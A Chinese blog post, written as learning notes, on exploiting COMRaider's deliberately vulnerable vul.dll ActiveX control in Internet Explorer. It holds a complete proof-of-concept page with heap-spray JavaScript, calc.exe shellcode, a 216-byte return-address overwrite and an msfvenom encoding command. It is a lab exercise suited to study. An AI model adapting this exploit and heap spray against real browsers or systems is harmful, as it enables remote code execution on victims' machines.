COMRaider自带vul.dll成功总结

com组件安全研究,已然是老古董了。以下是学习研究总结,采用的是覆盖返回地址结合堆喷的技术达到任意代码执行。

ollydbg调试com组件

Iexplore.exe 在匹配到对应的com组件后会通过DispCallFunc函数转置对应的注册组件对象接口函数。
因此,可对此函数下断点。如下图所示(来自0day2):

定位漏洞触发点

一般选用以下两种方式:
1. 覆盖返回地址
2. 覆盖最近的异常处理地址

采用第1种:
可计算出,返回地址距离不受限制的字符串地址为216字节。

POC

<html>
Test Exploit page
<object classid='clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D' id='target' ></object>
<script language='javascript'>

/*Calc.exe alpha_upper badchars --> "\x8b\x93\x83\x8a\x8c\x8d\x8f\x8e\x87\x81\x84\x86\x88\x89\x90\x91\x92\x94\x95\x96\x97\x98\x99\x82\x85
\x9f\x9a\x9e\x9d\x9b\x9f\x76
shell="\x33\xC0\x50\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8D\x04\x24\x50\xB8\x9D\x13\x76\x6C\x05\x10\x10\x10\x10\xFF\xD0\xB8\xDA\xAA\x61\x5C\x05\x20\x20\x20\x20\xFF\xD0";
*/

/* need unicode */
shell="%uc033%u6850%u652e%u6578%u6368%u6c61%u8d63%u2404%ub850%u139d%u6c76%u1005%u1010%uff10%ub8d0%uaada%u5c61%u2005%u2020%uff20%u90d0";
shell=unescape(shell);

/*
wrong because of unicode encode by iexplorer
chunk="\x90";

while (chunk.length<=0x100000)
{
chunk+=chunk;
}
chunk=chunk.substring(0,0x100000-32-4-1-shell.length));

var slide = new Array();
for (var i=0;i<=200;i++)
{
  slide[i] = chunk+shell;
}
*/

chunk=unescape("%u9090%u9090");

while (chunk.length<0x100000/2)
{
chunk+=chunk;
}
chunk=chunk.substring(0,(0x100000-32-4-1-shell.length)/2);

var slide = new Array();
for (var i=0;i<=200;i++)
{
  slide[i] = chunk+shell;
}

/*
op = unescape("%u0606%0606");  //wrong
op = "\x06\x06\x06\x06"; 常用0c0c0c0c. 一般 04040404~0b0b0b0b的之间的堆空间都可以。
*/
op = "\x06\x06\x06\x06";

nops="\x90";
while (nops.length<20){ nops+="\x90";}

junk1="A";
while (junk1.length<216){ junk1+=junk1;}
junk1=junk1.substring(0,216);

arg1=junk1+op+nops+shell;


target.Method1(arg1);
 
 
</script>
</html>

为什么选择堆喷而不是类似jmp esp的方式

  1. 堆喷相当稳定
  2. 绕过字符编码问题

字符编码

WideCharToMultiByte的影响,对于ascii值大于等于0x80的字符会被自动转化为0x3f。
例如:
jmp esp的地址:
\x49\xF0\xDE\x77.
在传递给有漏洞函数时会变为
\x49\x3F\x3F\x77
当然这可以在进程空间找到另一个不会被转换的跳板指令。

对于payload的shellcode 的坏字符可使用metasploit的工具msfvenom 进行相应编码转换

命令部分:
msfvenom -a x86 --platform windows -p windwos/exec CMD="calc.exe" -e x86/aipha_mixed BufferRegister=ESP -f -c

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值